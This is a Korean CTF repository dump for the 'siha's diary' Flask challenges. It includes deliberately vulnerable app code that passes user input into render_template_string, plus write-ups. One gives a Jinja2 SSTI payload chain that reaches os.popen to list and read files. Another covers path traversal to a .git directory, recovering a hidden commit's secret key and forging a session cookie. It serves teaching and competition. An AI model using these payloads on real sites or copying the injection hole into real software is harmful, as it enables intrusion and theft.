41 | 42 | -------------------------------------------------------------------------------- /web/siha's_diary2/requirements.txt: -------------------------------------------------------------------------------- 1 | Click==7.0 2 | Flask==1.0.2 3 | Flask-SQLAlchemy==2.3.2 4 | ItsDangerous>=1.0.0 5 | Jinja2>=2.10.1 6 | MarkupSafe==1.0 7 | SQLAlchemy==1.2.13 8 | Werkzeug==0.14.1 9 | -------------------------------------------------------------------------------- /web/siha's_diary2/src/app.py: -------------------------------------------------------------------------------- 1 | import os 2 | from pathlib import Path 3 | from flask import Flask 4 | from flask import request 5 | from flask import render_template, send_from_directory, redirect, render_template_string 6 | app = Flask(__name__) 7 | root_path = Path(app.root_path) 8 | app.config['FLAG'] = "GuardianCTF{0h_y0u_kn0w_wh47_73mpl473_1nj3c710n_15}" 9 | 10 | diaries = [ 11 | ('두번째 일기장', '2018/10/20', 'mysecondwebsite.txt'), 12 | ('좋아하는 시', '2018/10/23', 'poem.txt'), 13 | ('좋아하는 시2', '2018/10/24', 'poem2.txt'), 14 | ('좋은 구절', '2018/10/24', 'phrase1.txt'), 15 | ('멋진 구절', '2018/10/25', 'phrase2.txt'), 16 | ] 17 | 18 | 19 | @app.route('/') 20 | def index(): 21 | return render_template('search.html', all_diaries=diaries) 22 | 23 | 24 | @app.route('/search') 25 | def search(): 26 | title = request.args.get('title', None) 27 | if not title: 28 | return redirect('/') 29 | 30 | results = [] 31 | for t in diaries: 32 | if title in t[0]: 33 | results.append(t) 34 | 35 | template = (root_path / 'templates' / 'search_result.html').read_text(encoding='utf-8') 36 | return render_template_string(template % title, results=results) 37 | 38 | 39 | @app.route('/diary', methods=['GET']) 40 | def diary(): 41 | path = request.args.get('path', None) 42 | if not path: 43 | return redirect('/') 44 | 45 | if '/' in path: 46 | return "NO HACK!!! " * 100 47 | 48 | diary_path = root_path / 'diaries' / path 49 | if not diary_path.is_file(): 50 | return redirect('/') 51 | 52 | diary_data = diary_path.read_text(encoding='utf=8') 53 | return render_template('diary.html', text=diary_data.split('\n')) 54 | 55 | 56 | @app.route('/favicon.ico') 57 | def favicon(): 58 | return send_from_directory(str(root_path / 'static/images'), 59 | 'favicon.ico', mimetype='image/vnd.microsoft.icon') 60 | 61 | 62 | if __name__ == '__main__': 63 | app.run() 64 | -------------------------------------------------------------------------------- /web/siha's_diary2/src/diaries/mysecondwebsite.txt: -------------------------------------------------------------------------------- 1 | 두번째 일기장 사이트를 만들었다. 2 | 저번 일기장 사이트에 취약점이 있다는 걸 알아내서 해커들이 공격 못하게 막아버렸다. 3 | 그리고 이번에는 일기가 많아질 경우를 대비해서 검색 기능을 넣어봤다! -------------------------------------------------------------------------------- /web/siha's_diary2/src/diaries/phrase1.txt: -------------------------------------------------------------------------------- 1 | 지나가면, 우리는 조금 달라지겠지. 하지만 그 조금으로 우리는 서로에게 낯선 사람이 되겠지. 2 | 3 | - 김연수 / 파도가 바다의 일이라면 -------------------------------------------------------------------------------- /web/siha's_diary2/src/diaries/phrase2.txt: -------------------------------------------------------------------------------- 1 | 정답을 썼으면 정답에서 과감히 빠져나와야 열 아홉살이다. 2 | 3 | - 안도현 -------------------------------------------------------------------------------- /web/siha's_diary2/src/diaries/poem.txt: -------------------------------------------------------------------------------- 1 | 장석남 - 배를 매며 2 | 3 | 아무 소리도 없이 말도 없이 4 | 등 뒤로 털썩 5 | 밧줄이 날아와 나는 6 | 뛰어가 밧줄을 잡아다 배를 맨다 7 | 아주 천천히 그리고 조용히 8 | 배는 멀리서부터 닿는다 9 | 10 | 사랑은, 11 | 호젓한 부둣가에 우연히, 12 | 별 그럴 일도 없으면서 넋 놓고 앉았다가 13 | 배가 들어와 14 | 던져지는 밧줄을 받는 것 15 | 그래서 어찌할 수 없이 배를 매게 되는 것 16 | 잔잔한 바닷물 위에 17 | 구름과 빛과 시간과 함께 18 | 떠 있는 배 -------------------------------------------------------------------------------- /web/siha's_diary2/src/diaries/poem2.txt: -------------------------------------------------------------------------------- 1 | 나희덕 - 푸른밤 2 | 3 | 4 | 너에게로 가지 않으려고 미친 듯 걸었던 5 | 그 무수한 길도 6 | 실은 네게로 향한 것이었다. 7 | 8 | 까마득한 밤길을 혼자 걸어갈 때에도 9 | 내 응시에 날아간 별은 10 | 네 머리 위에서 반짝였을 것이고 11 | 내 한숨과 입김에 꽃들은 12 | 네게로 몸을 기울여 흔들렸을 것이다. 13 | 14 | 사랑에서 치욕으로, 15 | 다시 치욕에서 사랑으로, 16 | 하루에도 몇번씩 네게로 드리웠던 두레박. 17 | 18 | 그러나 매양 퍼올린 것은 19 | 수만 갈래의 길이었을 따름이다. 20 | 은하수의 한 별이 또 하나의 별을 찾아가는 21 | 그 수만의 길을 나는 걷고 있는 것이다. 22 | 23 | 나의 생애는 24 | 모든 지름길을 돌아서 25 | 네게로 난 단 하나의 에움길이었다. -------------------------------------------------------------------------------- /web/siha's_diary2/src/static/images/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/web/siha's_diary2/src/static/images/favicon.ico -------------------------------------------------------------------------------- /web/siha's_diary2/src/templates/_search_result.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Siha's Diary 2 6 | 7 | 8 | 9 | 10 | 11 |
12 |

Siha의 일기장

13 |
14 | 15 | 16 | 17 | 20 | 21 | 22 |
18 | {search_text} 검색결과 19 |
23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | {% for title, date, path in results %} 33 | 34 | 35 | 36 | 37 | 38 | {% endfor %} 39 | 40 |
제목날짜보기
{{ title }}{{ date }}
41 | 42 | -------------------------------------------------------------------------------- /web/siha's_diary2/src/templates/diary.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Siha's Diary 2 6 | 7 | 8 | 9 | 10 | 11 |
12 |

Siha의 일기장

13 |
14 | 15 | 16 | 17 | 22 | 23 | 24 | 25 | 26 | 27 |
18 | {% for para in text %} 19 |

{{ para }}

20 | {% endfor %} 21 |
28 | 29 | -------------------------------------------------------------------------------- /web/siha's_diary2/src/templates/search.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Siha's Diary 2 6 | 7 | 8 | 9 | 10 | 11 |
12 |

Siha의 일기장

13 |
14 | 15 | 16 | 17 | 24 | 25 | 26 |
18 |
19 | 20 |
21 | 22 |
23 |
27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | {% for title, date, path in all_diaries %} 37 | 38 | 39 | 40 | 41 | 42 | {% endfor %} 43 | 44 |
제목날짜보기
{{ title }}{{ date }}
45 | 46 | -------------------------------------------------------------------------------- /web/siha's_diary2/src/templates/search_result.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Siha's Diary 2 6 | 7 | 8 | 9 | 10 | 11 |
12 |

Siha의 일기장

13 |
14 | 15 | 16 | 17 | 20 | 21 | 22 |
18 | %s 검색결과 19 |
23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | {%% for title, date, path in results %%} 33 | 34 | 35 | 36 | 37 | 38 | {%% endfor %%} 39 | 40 |
제목날짜보기
{{ title }}{{ date }}
41 | 42 | -------------------------------------------------------------------------------- /web/siha's_diary3/README.md: -------------------------------------------------------------------------------- 1 | # siha's diary3 2 | 3 | > author: 최경재(siha) / difficulty: medium / points: 400 4 | 5 | ## Description 6 | 7 | siha가 지난 사이트의 취약점을 패치했다고 한다, 그런데... 여전한 것 같은데? 8 | 9 | ## Hint 10 | - SSTI로는 생각보다 많은 일을 할 수 있다! diaries/flag.txt의 내용을 열어보려면 어떻게 해야 할까? (50) 11 | - os.system() 또는 os.popen() 함수를 실행하는 게 최종적인 목표다! (100) 12 | 13 | ## Write up 14 | 15 | 주석 처리된 코드를 살펴보면 flag.txt 파일이 일기중에 존재한다는 것을 알 수 있는데, 16 | flag 문자열이 필터링되어 바로 열어볼 수가 없다. 17 | 18 | search 파라미터에 {{ 1+1 }}을 넣어보면 2가 출력되는 것을 확인할 수 있다. 19 | 이는 Server side template injection이 가능함을 뜻한다. (siha's diary2와 동일) 20 | 21 | '3.5.2 (default, Nov 17 2016, 17:05:23) \n[GCC 5.4.0 20160609]' 위 버전을 기준으로, 페이로드는 22 | 23 | ``` 24 | {{ ().__class__.__base__.__subclasses__()[391] }} 25 | >>> 26 | 27 | {{ ().__class__.__base__.__subclasses__()[391].__init__.__globals__['sys'] }} 28 | >>> 29 | 30 | {{ ().__class__.__base__.__subclasses__()[391].__init__.__globals__['sys'].modules['os'] }} 31 | >>> 32 | 33 | {{ ().__class__.__base__.__subclasses__()[391].__init__.__globals__['sys'].modules['os'] }} 34 | >>> 35 | 36 | {{ ().__class__.__base__.__subclasses__()[391].__init__.__globals__['sys'].modules['os'].popen('ls diaries').read() }} 37 | >>> flag.txt myforthwebsite.txt phrase1.txt phrase2.txt poem.txt poem2.txt 38 | 39 | {{ ().__class__.__base__.__subclasses__()[391].__init__.__globals__['sys'].modules['os'].popen('ls diaries').read() }} 40 | >>> flag.txt myforthwebsite.txt phrase1.txt phrase2.txt poem.txt poem2.txt 41 | 42 | {{ ().__class__.__base__.__subclasses__()[391].__init__.__globals__['sys'].modules['os'].popen('cat diaries/flag.txt').read() }} 43 | >>> GO AWAY HACKER! 44 | 45 | {{ ().__class__.__base__.__subclasses__()[391].__init__.__globals__['sys'].modules['os'].popen('cat diaries/f*.txt').read() }} 46 | >>> GuardianCTF{73mpl473_1nj3c710n_15_4m4z1n6} 47 | 48 | ``` 49 | 50 | 51 | 52 | ## How to run 53 | 54 | ``` 55 | pip install -r requirements.txt 56 | python app.py 57 | ``` 58 | 59 | ## flag 60 | 61 | GuardianCTF{73mpl473_1nj3c710n_15_4m4z1n6} -------------------------------------------------------------------------------- /web/siha's_diary3/release/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.5 2 | 3 | WORKDIR /usr/src/app 4 | 5 | COPY requirements.txt ./ 6 | RUN pip install --no-cache-dir -r requirements.txt 7 | 8 | COPY . . 9 | EXPOSE 5000 10 | 11 | CMD ["flask", "run", "--host", "0.0.0.0"] 12 | 13 | -------------------------------------------------------------------------------- /web/siha's_diary3/release/app.py: -------------------------------------------------------------------------------- 1 | import os 2 | from pathlib import Path 3 | from flask import Flask 4 | from flask import request 5 | from flask import render_template, send_from_directory, redirect, render_template_string 6 | app = Flask(__name__) 7 | root_path = Path(app.root_path) 8 | 9 | diaries = [ 10 | ('세번째 일기장', '2018/10/20', 'mythirdwebsite.txt'), 11 | ('좋아하는 시', '2018/10/23', 'poem.txt'), 12 | ('좋아하는 시2', '2018/10/24', 'poem2.txt'), 13 | ('좋은 구절', '2018/10/24', 'phrase1.txt'), 14 | ('멋진 구절', '2018/10/25', 'phrase2.txt'), 15 | ] 16 | 17 | 18 | @app.route('/') 19 | def index(): 20 | return render_template('search.html', all_diaries=diaries) 21 | 22 | 23 | @app.route('/search') 24 | def search(): 25 | title = request.args.get('title', None) 26 | if not title: 27 | return redirect('/') 28 | 29 | if 'flag' in title.lower(): 30 | return "GO AWAY HACKER!" 31 | 32 | results = [] 33 | for t in diaries: 34 | if title in t[0]: 35 | results.append(t) 36 | 37 | template = (root_path / 'templates' / 'search_result.html').read_text(encoding='utf-8') 38 | return render_template_string(template % title, results=results) 39 | 40 | 41 | @app.route('/diary', methods=['GET']) 42 | def diary(): 43 | path = request.args.get('path', None) 44 | if not path: 45 | return redirect('/') 46 | 47 | if '/' in path or '\\' in path or '..' in path: 48 | return "NO HACK!!! " * 100 49 | 50 | if 'flag' in path.lower(): 51 | return "GO AWAY HACKER!" 52 | 53 | diary_path = root_path / 'diaries' / path 54 | if not diary_path.is_file(): 55 | return redirect('/') 56 | 57 | diary_data = diary_path.read_text(encoding='utf=8') 58 | return render_template('diary.html', text=diary_data.split('\n')) 59 | 60 | 61 | @app.route('/favicon.ico') 62 | def favicon(): 63 | return send_from_directory(str(root_path / 'static/images'), 64 | 'favicon.ico', mimetype='image/vnd.microsoft.icon') 65 | 66 | 67 | if __name__ == '__main__': 68 | app.run() 69 | -------------------------------------------------------------------------------- /web/siha's_diary3/release/diaries/flag.txt: -------------------------------------------------------------------------------- 1 | GuardianCTF{73mpl473_1nj3c710n_15_4m4z1n6} -------------------------------------------------------------------------------- /web/siha's_diary3/release/diaries/mythirdwebsite.txt: -------------------------------------------------------------------------------- 1 | 세번째 일기장 사이트를 만들었다! 2 | 차이가 없어 보인다고? 기분 탓이야~ -------------------------------------------------------------------------------- /web/siha's_diary3/release/diaries/phrase1.txt: -------------------------------------------------------------------------------- 1 | 지나가면, 우리는 조금 달라지겠지. 하지만 그 조금으로 우리는 서로에게 낯선 사람이 되겠지. 2 | 3 | - 김연수 / 파도가 바다의 일이라면 -------------------------------------------------------------------------------- /web/siha's_diary3/release/diaries/phrase2.txt: -------------------------------------------------------------------------------- 1 | 정답을 썼으면 정답에서 과감히 빠져나와야 열 아홉살이다. 2 | 3 | - 안도현 -------------------------------------------------------------------------------- /web/siha's_diary3/release/diaries/poem.txt: -------------------------------------------------------------------------------- 1 | 장석남 - 배를 매며 2 | 3 | 아무 소리도 없이 말도 없이 4 | 등 뒤로 털썩 5 | 밧줄이 날아와 나는 6 | 뛰어가 밧줄을 잡아다 배를 맨다 7 | 아주 천천히 그리고 조용히 8 | 배는 멀리서부터 닿는다 9 | 10 | 사랑은, 11 | 호젓한 부둣가에 우연히, 12 | 별 그럴 일도 없으면서 넋 놓고 앉았다가 13 | 배가 들어와 14 | 던져지는 밧줄을 받는 것 15 | 그래서 어찌할 수 없이 배를 매게 되는 것 16 | 잔잔한 바닷물 위에 17 | 구름과 빛과 시간과 함께 18 | 떠 있는 배 -------------------------------------------------------------------------------- /web/siha's_diary3/release/diaries/poem2.txt: -------------------------------------------------------------------------------- 1 | 나희덕 - 푸른밤 2 | 3 | 4 | 너에게로 가지 않으려고 미친 듯 걸었던 5 | 그 무수한 길도 6 | 실은 네게로 향한 것이었다. 7 | 8 | 까마득한 밤길을 혼자 걸어갈 때에도 9 | 내 응시에 날아간 별은 10 | 네 머리 위에서 반짝였을 것이고 11 | 내 한숨과 입김에 꽃들은 12 | 네게로 몸을 기울여 흔들렸을 것이다. 13 | 14 | 사랑에서 치욕으로, 15 | 다시 치욕에서 사랑으로, 16 | 하루에도 몇번씩 네게로 드리웠던 두레박. 17 | 18 | 그러나 매양 퍼올린 것은 19 | 수만 갈래의 길이었을 따름이다. 20 | 은하수의 한 별이 또 하나의 별을 찾아가는 21 | 그 수만의 길을 나는 걷고 있는 것이다. 22 | 23 | 나의 생애는 24 | 모든 지름길을 돌아서 25 | 네게로 난 단 하나의 에움길이었다. -------------------------------------------------------------------------------- /web/siha's_diary3/release/requirements.txt: -------------------------------------------------------------------------------- 1 | Click==7.0 2 | Flask==1.0.2 3 | Flask-SQLAlchemy==2.3.2 4 | ItsDangerous>=1.0.0 5 | Jinja2>=2.10.1 6 | MarkupSafe==1.0 7 | SQLAlchemy==1.2.13 8 | Werkzeug==0.14.1 9 | -------------------------------------------------------------------------------- /web/siha's_diary3/release/static/images/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/web/siha's_diary3/release/static/images/favicon.ico -------------------------------------------------------------------------------- /web/siha's_diary3/release/templates/_search_result.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Siha's Diary 3 6 | 7 | 8 | 9 | 10 | 11 |
12 |

Siha의 일기장

13 |
14 | 15 | 16 | 17 | 20 | 21 | 22 |
18 | {search_text} 검색결과 19 |
23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | {% for title, date, path in results %} 33 | 34 | 35 | 36 | 37 | 38 | {% endfor %} 39 | 40 |
제목날짜보기
{{ title }}{{ date }}
41 | 42 | -------------------------------------------------------------------------------- /web/siha's_diary3/release/templates/diary.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Siha's Diary 3 6 | 7 | 8 | 9 | 10 | 11 |
12 |

Siha의 일기장

13 |
14 | 15 | 16 | 17 | 22 | 23 | 24 | 25 | 26 | 27 |
18 | {% for para in text %} 19 |

{{ para }}

20 | {% endfor %} 21 |
28 | 29 | -------------------------------------------------------------------------------- /web/siha's_diary3/release/templates/search.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Siha's Diary 3 6 | 7 | 8 | 9 | 10 | 11 |
12 |

Siha의 일기장

13 |
14 | 15 | 16 | 17 | 24 | 25 | 26 |
18 |
19 | 20 |
21 | 22 |
23 |
27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | {% for title, date, path in all_diaries %} 37 | 38 | 39 | 40 | 41 | 42 | {% endfor %} 43 | 50 | 51 |
제목날짜보기
{{ title }}{{ date }}
52 | 53 | -------------------------------------------------------------------------------- /web/siha's_diary3/release/templates/search_result.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Siha's Diary 3 6 | 7 | 8 | 9 | 10 | 11 |
12 |

Siha의 일기장

13 |
14 | 15 | 16 | 17 | 20 | 21 | 22 |
18 | %s 검색결과 19 |
23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | {%% for title, date, path in results %%} 33 | 34 | 35 | 36 | 37 | 38 | {%% endfor %%} 39 | 40 |
제목날짜보기
{{ title }}{{ date }}
41 | 42 | -------------------------------------------------------------------------------- /web/siha's_diary3/requirements.txt: -------------------------------------------------------------------------------- 1 | Click==7.0 2 | Flask==1.0.2 3 | Flask-SQLAlchemy==2.3.2 4 | ItsDangerous>=1.0.0 5 | Jinja2>=2.10.1 6 | MarkupSafe==1.0 7 | SQLAlchemy==1.2.13 8 | Werkzeug==0.14.1 9 | -------------------------------------------------------------------------------- /web/siha's_diary3/src/app.py: -------------------------------------------------------------------------------- 1 | import os 2 | from pathlib import Path 3 | from flask import Flask 4 | from flask import request 5 | from flask import render_template, send_from_directory, redirect, render_template_string 6 | app = Flask(__name__) 7 | root_path = Path(app.root_path) 8 | 9 | diaries = [ 10 | ('세번째 일기장', '2018/10/20', 'mythirdwebsite.txt'), 11 | ('좋아하는 시', '2018/10/23', 'poem.txt'), 12 | ('좋아하는 시2', '2018/10/24', 'poem2.txt'), 13 | ('좋은 구절', '2018/10/24', 'phrase1.txt'), 14 | ('멋진 구절', '2018/10/25', 'phrase2.txt'), 15 | ] 16 | 17 | 18 | @app.route('/') 19 | def index(): 20 | return render_template('search.html', all_diaries=diaries) 21 | 22 | 23 | @app.route('/search') 24 | def search(): 25 | title = request.args.get('title', None) 26 | if not title: 27 | return redirect('/') 28 | 29 | if 'flag' in title.lower(): 30 | return "GO AWAY HACKER!" 31 | 32 | results = [] 33 | for t in diaries: 34 | if title in t[0]: 35 | results.append(t) 36 | 37 | template = (root_path / 'templates' / 'search_result.html').read_text(encoding='utf-8') 38 | return render_template_string(template % title, results=results) 39 | 40 | 41 | @app.route('/diary', methods=['GET']) 42 | def diary(): 43 | path = request.args.get('path', None) 44 | if not path: 45 | return redirect('/') 46 | 47 | if '/' in path or '\\' in path or '..' in path: 48 | return "NO HACK!!! " * 100 49 | 50 | if 'flag' in path.lower(): 51 | return "GO AWAY HACKER!" 52 | 53 | diary_path = root_path / 'diaries' / path 54 | if not diary_path.is_file(): 55 | return redirect('/') 56 | 57 | diary_data = diary_path.read_text(encoding='utf=8') 58 | return render_template('diary.html', text=diary_data.split('\n')) 59 | 60 | 61 | @app.route('/favicon.ico') 62 | def favicon(): 63 | return send_from_directory(str(root_path / 'static/images'), 64 | 'favicon.ico', mimetype='image/vnd.microsoft.icon') 65 | 66 | 67 | if __name__ == '__main__': 68 | app.run() 69 | -------------------------------------------------------------------------------- /web/siha's_diary3/src/diaries/flag.txt: -------------------------------------------------------------------------------- 1 | GuardianCTF{73mpl473_1nj3c710n_15_4m4z1n6} -------------------------------------------------------------------------------- /web/siha's_diary3/src/diaries/mythirdwebsite.txt: -------------------------------------------------------------------------------- 1 | 세번째 일기장 사이트를 만들었다! 2 | 차이가 없어 보인다고? 기분 탓이야~ -------------------------------------------------------------------------------- /web/siha's_diary3/src/diaries/phrase1.txt: -------------------------------------------------------------------------------- 1 | 지나가면, 우리는 조금 달라지겠지. 하지만 그 조금으로 우리는 서로에게 낯선 사람이 되겠지. 2 | 3 | - 김연수 / 파도가 바다의 일이라면 -------------------------------------------------------------------------------- /web/siha's_diary3/src/diaries/phrase2.txt: -------------------------------------------------------------------------------- 1 | 정답을 썼으면 정답에서 과감히 빠져나와야 열 아홉살이다. 2 | 3 | - 안도현 -------------------------------------------------------------------------------- /web/siha's_diary3/src/diaries/poem.txt: -------------------------------------------------------------------------------- 1 | 장석남 - 배를 매며 2 | 3 | 아무 소리도 없이 말도 없이 4 | 등 뒤로 털썩 5 | 밧줄이 날아와 나는 6 | 뛰어가 밧줄을 잡아다 배를 맨다 7 | 아주 천천히 그리고 조용히 8 | 배는 멀리서부터 닿는다 9 | 10 | 사랑은, 11 | 호젓한 부둣가에 우연히, 12 | 별 그럴 일도 없으면서 넋 놓고 앉았다가 13 | 배가 들어와 14 | 던져지는 밧줄을 받는 것 15 | 그래서 어찌할 수 없이 배를 매게 되는 것 16 | 잔잔한 바닷물 위에 17 | 구름과 빛과 시간과 함께 18 | 떠 있는 배 -------------------------------------------------------------------------------- /web/siha's_diary3/src/diaries/poem2.txt: -------------------------------------------------------------------------------- 1 | 나희덕 - 푸른밤 2 | 3 | 4 | 너에게로 가지 않으려고 미친 듯 걸었던 5 | 그 무수한 길도 6 | 실은 네게로 향한 것이었다. 7 | 8 | 까마득한 밤길을 혼자 걸어갈 때에도 9 | 내 응시에 날아간 별은 10 | 네 머리 위에서 반짝였을 것이고 11 | 내 한숨과 입김에 꽃들은 12 | 네게로 몸을 기울여 흔들렸을 것이다. 13 | 14 | 사랑에서 치욕으로, 15 | 다시 치욕에서 사랑으로, 16 | 하루에도 몇번씩 네게로 드리웠던 두레박. 17 | 18 | 그러나 매양 퍼올린 것은 19 | 수만 갈래의 길이었을 따름이다. 20 | 은하수의 한 별이 또 하나의 별을 찾아가는 21 | 그 수만의 길을 나는 걷고 있는 것이다. 22 | 23 | 나의 생애는 24 | 모든 지름길을 돌아서 25 | 네게로 난 단 하나의 에움길이었다. -------------------------------------------------------------------------------- /web/siha's_diary3/src/static/images/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/web/siha's_diary3/src/static/images/favicon.ico -------------------------------------------------------------------------------- /web/siha's_diary3/src/templates/_search_result.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Siha's Diary 3 6 | 7 | 8 | 9 | 10 | 11 |
12 |

Siha의 일기장

13 |
14 | 15 | 16 | 17 | 20 | 21 | 22 |
18 | {search_text} 검색결과 19 |
23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | {% for title, date, path in results %} 33 | 34 | 35 | 36 | 37 | 38 | {% endfor %} 39 | 40 |
제목날짜보기
{{ title }}{{ date }}
41 | 42 | -------------------------------------------------------------------------------- /web/siha's_diary3/src/templates/diary.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Siha's Diary 3 6 | 7 | 8 | 9 | 10 | 11 |
12 |

Siha의 일기장

13 |
14 | 15 | 16 | 17 | 22 | 23 | 24 | 25 | 26 | 27 |
18 | {% for para in text %} 19 |

{{ para }}

20 | {% endfor %} 21 |
28 | 29 | -------------------------------------------------------------------------------- /web/siha's_diary3/src/templates/search.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Siha's Diary 3 6 | 7 | 8 | 9 | 10 | 11 |
12 |

Siha의 일기장

13 |
14 | 15 | 16 | 17 | 24 | 25 | 26 |
18 |
19 | 20 |
21 | 22 |
23 |
27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | {% for title, date, path in all_diaries %} 37 | 38 | 39 | 40 | 41 | 42 | {% endfor %} 43 | 50 | 51 |
제목날짜보기
{{ title }}{{ date }}
52 | 53 | -------------------------------------------------------------------------------- /web/siha's_diary3/src/templates/search_result.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Siha's Diary 3 6 | 7 | 8 | 9 | 10 | 11 |
12 |

Siha의 일기장

13 |
14 | 15 | 16 | 17 | 20 | 21 | 22 |
18 | %s 검색결과 19 |
23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | {%% for title, date, path in results %%} 33 | 34 | 35 | 36 | 37 | 38 | {%% endfor %%} 39 | 40 |
제목날짜보기
{{ title }}{{ date }}
41 | 42 | -------------------------------------------------------------------------------- /web/siha's_diary4/README.md: -------------------------------------------------------------------------------- 1 | # siha's diary4 2 | 3 | > author: 최경재(siha) / difficulty: hard / points: 900 4 | 5 | ## Description 6 | 7 | siha가 일기장 사이트에 새로운 기능을 추가했다! 8 | 9 | ## Hint 10 | - 이 문제는 디지털 포렌식 문제라고도 볼 수 있다. (100) 11 | - siha의 글을 읽고 싶다면 siha인 척 해야한다. siha는 예전에 한 실수를 몰래 숨겨두었다. (300) 12 | 13 | ## Write up 14 | 15 | 방명록에 여러번 글을 써보면 같은 이름으로 글이 써지는 것을 확인할 수 있고, 16 | siha의 글은 읽을 수 없다는 것도 확인할 수 있다. 17 | 18 | 특정한 이름으로 글이 써진다는 점에서 그 이름이 쿠키에 저장되어 있다는 것을 유추할 수 있다. 19 | 20 | 쿠키를 [이런](https://www.kirsle.net/wizards/flask-session.cgi) 사이트에서 디코딩 해보면 username 값이 존재한다는 것을 확인할 수 있다. 21 | 22 | 목표는 이 username을 siha로 바꾸는 것이다. 23 | 24 | flask의 쿠키를 조작하려면 secret key를 알아내야만 한다. 25 | 글 다운로드 기능을 사용하면 app.py를 다운로드 받을 수 있지만, secret key 값과 db의 위치가 모두 환경변수에 들어가 읽어 읽어낼 수 없다. 26 | 27 | 일기장의 내용을 잘 읽어보면, siha가 코드의 버전관리를 하고 있다는 점을 유추할 수 있고, 과거에 취약점을 수정했다는 사실도 알 수 있다. 28 | 29 | ``` 30 | /download?path=../.git/HEAD 31 | ``` 32 | 33 | git을 이용하여 버전관리를 할 것이라 추측하고 HEAD 파일에 접근해보면 다운로드가 되는 것을 확인할 수 있다. 34 | 35 | 이제, [GitTools](https://github.com/internetwache/GitTools)와 같은 도구를 이용하여 git 레포지토리를 덤프한 뒤, 36 | 37 | 로그를 찍고 커밋을 돌려보면? 플래그가 없다! 38 | 39 | 하지만 `git reflog` 커맨드로 HEAD 변경 내역을 살펴보면, 40 | 41 | ``` 42 | bf7a341 HEAD@{0}: commit: add new diary and fix vulnerability 43 | 0f620c8 HEAD@{1}: reset: moving to 0f620c827ed49bc08d18fed7ece143dc238c2cbb 44 | 3eac155 HEAD@{2}: commit: add new diary 45 | ed1c2b7 HEAD@{3}: commit (initial): initial commit 46 | ``` 47 | 48 | reset이 있었다는 사실을 알수 있고, 49 | 50 | `git fsck --lost-found` 커맨드로 숨겨진 커밋을 찾은 뒤, 51 | 52 | `git show `로 해당 커밋을 조회하면 숨겨진 secret key를 찾을 수 있다. 53 | 54 | ``` 55 | -app.secret_key = 'test_secret_key' 56 | +app.secret_key = '51h4_5up3r_53cr37_fl45k_k3y_h4h4_h0h0' 57 | ``` 58 | 59 | 이제 해당 secret key를 사용하여 쿠키를 조작하면 siha의 방명록을 읽을 수 있고, siha의 방명록에 플래그가 적혀있다. 60 | 61 | ## How to run 62 | 63 | ``` 64 | unzip siha's_diary4.zip 65 | source run.sh 66 | python app.py 67 | ``` 68 | 69 | ## flag 70 | 71 | GuardianCTF{n3v3r_l34k_y0ur_617_d1r3c70ry} -------------------------------------------------------------------------------- /web/siha's_diary4/release/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.5 2 | 3 | WORKDIR /usr/src/app 4 | 5 | COPY siha\'s_diary4.zip . 6 | COPY run.sh ./ 7 | COPY requirements.txt ./ 8 | 9 | RUN apt update && apt upgrade -y 10 | RUN apt install -y sqlite3 libsqlite3-dev unzip 11 | 12 | RUN unzip siha\'s_diary4.zip 13 | RUN pip install --no-cache-dir -r requirements.txt 14 | RUN ./run.sh 15 | 16 | ENV SECRET_KEY 51h4_5up3r_53cr37_fl45k_k3y_h4h4_h0h0 17 | ENV DB_PATH sqlite:////tmp/5up3r_53cur3_db_l0c4710n.db 18 | 19 | EXPOSE 5000 20 | 21 | CMD flask run --host 0.0.0.0 22 | 23 | -------------------------------------------------------------------------------- /web/siha's_diary4/release/requirements.txt: -------------------------------------------------------------------------------- 1 | Click==7.0 2 | Flask==1.0.2 3 | Flask-SQLAlchemy==2.3.2 4 | ItsDangerous>=1.0.0 5 | Jinja2>=2.10.1 6 | MarkupSafe==1.0 7 | SQLAlchemy==1.2.13 8 | Werkzeug==0.14.1 9 | -------------------------------------------------------------------------------- /web/siha's_diary4/release/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | which sqlite3 > /dev/null 4 | if [ $? -ne 0 ]; then 5 | echo "install sqlite3" 6 | exit 1 7 | fi 8 | 9 | db_file_name="/tmp/5up3r_53cur3_db_l0c4710n.db" 10 | db_path="sqlite:///$db_file_name" 11 | flag="GuardianCTF{n3v3r_l34k_y0ur_617_d1r3c70ry}" 12 | 13 | export SECRET_KEY="51h4_5up3r_53cr37_fl45k_k3y_h4h4_h0h0" 14 | export DB_PATH=$db_path 15 | 16 | if [ -e $db_file_name ]; then 17 | rm $db_file_name 18 | fi 19 | 20 | echo ".databases" | sqlite3 